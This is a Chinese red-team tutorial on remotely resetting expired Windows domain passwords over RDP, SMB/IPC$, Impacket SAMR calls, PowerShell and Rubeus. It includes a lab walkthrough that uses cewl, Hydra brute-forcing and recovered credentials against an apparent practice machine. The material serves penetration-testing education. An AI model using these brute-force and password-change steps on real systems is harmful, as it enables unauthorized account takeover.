分享者才是学习中最大的受益者!
前言
一个红队经常用到的小技巧,远程重置过期密码,这个在实战中太常见了
当我们找到有效的凭据,但密码却过期了
远程桌面协议
注:需要 RDP 而不强制执行 NLA
我们需要找到一个不需要 NLA 的系统。并且不需要系统的权限
nessus
可以在Nessus 扫描结果中查找:终端服务不仅使用网络级身份验证 (NLA)
nmap
执行命令
nmap x.x.x.x -p 3389 --script rdp-enum-encryption
关注:SSL: SUCCESS
字段
Metasploit
使用auxiliary(scanner/rdp/rdp_scanner)
模块
配置参数 扫描即可
use auxiliary(scanner/rdp/rdp_scanner)
rdesktop
rdesktop连接到目标系统,无需指定任何用户名或密码
执行命令
rdesktop x.x.x.x
需要键入yes,信任证书
可以重置密码,也可以返回到其他命令行工具
smbpasswd
前言
注:需要匿名访问 IPC$ 共享
smbpasswd可能是远程重置密码最简单方法,但是它有一些条件。
执行命令:
smbpasswd -r 10.0.0.15 -U 'expired'
#-r:远程主机IP
#-U:用户名
原理
1.首先尝试使用该帐户进行身份验证
2.获取"密码已过期"消息
3.匿名连接到 IPC$ 共享
4.在这里执行密码重置
注:默认情况下,任何人都可以通过 IPC$ 匿名连接
但是,有时会出现 IPC$不可访问
的情况,在这种情况下,这将不起作用
可能是 因为 IPC$ 仅限于 NULL会话的限制
ChangePwd
前言
注:需要访问 IPC$ Share 和 Windows,并且不需要任何管理员权限即可运行。
工具下载地址:https://www.joeware.net/freetools/tools/changepw/index.htm
原理
它的工作方式与 smbpassword 非常相似
但是在与 IPC$ 的连接方面,如果它不执行匿名连接,它会使用当前登录的用户连接到 IPC$
在这种情况下,即使 IPC$ 仅限于 NULL 会话,只要我们有一个其他用户,仍然可以执行重置
Impacket smbpasswd
前言
注:需要 访问 IPC$ 共享
下载地址:https://github.com/snovvcrash/impacket/blob/smbpasswd/examples/smbpasswd.py
原理
它与 smbpassword 基本相同,但在 Impacket 中,它是以非交互方式重新实现
问题:https://snovvcrash.rocks/2020/10/31/pretending-to-be-smbpasswd-with-impacket.html
我们不需要知道原始明文,有散列值就可以了
实操
HTTP
无法访问
根据跳转加hosts
10.10.10.193 fuse.fabricorp.local
整理用户名
pmerton
tlavel
sthompson
bhult
smb匿名登录
smbclient -L 10.10.10.193
cewl
使用cewl根据网页内容生成密码字典:
cewl -d 5 -m 3 -w wordlist.txt http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers
Hydra 暴力破解密码
hydra -L user.txt -P wordlist.txt http://fuse.fabricorp.local smb
得到两个用户名 和 密码
tlavel:Fabricorp01
bhult:Fabricorp01
登录共享
smbclient -L 10.10.10.193 -U tlavel
无法直接使用,提示NT_STATUS_PASSWORD_MUST_CHANGE
这里 我们的思路 就来了
smbpasswd
可以使用旧密码,通过smbpasswd修改密码,之后使用新密码,注意密码需要满足规则
smbpasswd -r 10.10.10.193 -U tlavel
成功修改
注:通过 SMB 更改密码还可以使用 impacket 的 smbclient.py,但是当密码过期时它就不能用了
Samba 的NetCommand
也是一样的,不能更改过期的密码
贴一个大佬的脚本
原理:通过一次对hSamrUnicodeChangePasswordUser2 的调用直接更改的密码
#!/usr/bin/python3
from argparse import ArgumentParser
from impacket.dcerpc.v5 import transport, samr
def connect(host_name_or_ip):
rpctransport = transport.SMBTransport(host_name_or_ip, filename=r'\samr')
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(username='', password='', domain='', lmhash='', nthash='', aesKey='') # null session
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
return dce
def hSamrUnicodeChangePasswordUser2(username, oldpass, newpass, target):
dce = connect(target)
resp = samr.hSamrUnicodeChangePasswordUser2(dce, '\x00', username, oldpass, newpass)
resp.dump()
parser = ArgumentParser()
parser.add_argument('username', help='username to change password for')
parser.add_argument('oldpass', help='old password')
parser.add_argument('newpass', help='new password')
parser.add_argument('target', help='hostname or IP')
args = parser.parse_args()
hSamrUnicodeChangePasswordUser2(args.username, args.oldpass, args.newpass, args.target)
执行命令
python3 setsmbpasswd.py tlavel Fabricorp01 'Aaaa001!' 10.10.10.193
进行登录
smbclient -L 10.10.10.193 -U 'tlavel'
SetADAccountPwd
注:需要 Windows 和 RSAT 工具,并且管理员权限才能在 Windows 上安装 RSAT 工具
工具下载地址:https://www.microsoft.com/zh-CN/download/details.aspx?id=45520
执行命令:
Powershell 脚本
注:需要访问 IPC$ Share 和 Windows
这里贴上一个脚本
function Set-PasswordRemotely {
[CmdletBinding()]
param(
[Parameter(Mandatory = $true)][string] $UserName,
[Parameter(Mandatory = $true)][string] $OldPassword,
[Parameter(Mandatory = $true)][string] $NewPassword,
[Parameter(Mandatory = $true)][alias('DC', 'Server', 'ComputerName')][string] $DomainController
)
$DllImport = @'
[DllImport("netapi32.dll", CharSet = CharSet.Unicode)]
public static extern bool NetUserChangePassword(string domain, string username, string oldpassword, string newpassword);
'@
$NetApi32 = Add-Type -MemberDefinition $DllImport -Name 'NetApi32' -Namespace 'Win32' -PassThru
if ($result = $NetApi32::NetUserChangePassword($DomainController, $UserName, $OldPassword, $NewPassword)) {
Write-Output -InputObject 'Password change failed. Please try again.'
} else {
Write-Output -InputObject 'Password change succeeded.'
}
}
Rubeus
前言
注:需要 Windows / AV Evasion,当我们拥有用户或其哈希的票证时,就不需要明文
工具下载地址:https://github.com/GhostPack/Rubeus
原理
具体可以参考这里:http://www.harmj0y.net/blog/redteaming/rubeus-now-with-more-kekeo/
1.使用旧密码获取票证
2.使用票证更改密码
总结
在实战中,建议:收集外网的登录接口,很有可能其中一个系统的登录接口就能重置过期密码
希望可以帮到各位师傅!
- 本文作者: 略略略
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/865
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!